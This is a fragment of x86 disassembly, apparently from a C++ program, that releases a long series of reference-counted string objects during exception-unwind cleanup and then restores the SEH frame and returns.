mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x19
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414373
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x18
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41439e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x17
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4143c9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x16
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4143f4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x15
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41441f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x14
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41444a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x13
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414475
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x12
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41449d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x11
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4144c5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x10
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4144ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xf
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414515
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xe
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41453d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xd
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414565
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xc
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41458d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xb
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4145b5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0xa
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4145dd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 9
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414605
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 8
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41462d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 3
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414655
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 2
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414680
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 1
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4146ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4146d3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xf0], 0xffffffff
mov eax, dword [esp + 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414701
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0xa8]
mov esi, dword [edi + 0x134]
call fcn.00435180
mov edx, dword [edi + 0xb0]
mov esi, dword [edi + 0x134]
call fcn.00435180
add edi, 0x1bc
push edi
call fcn.0041e110
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4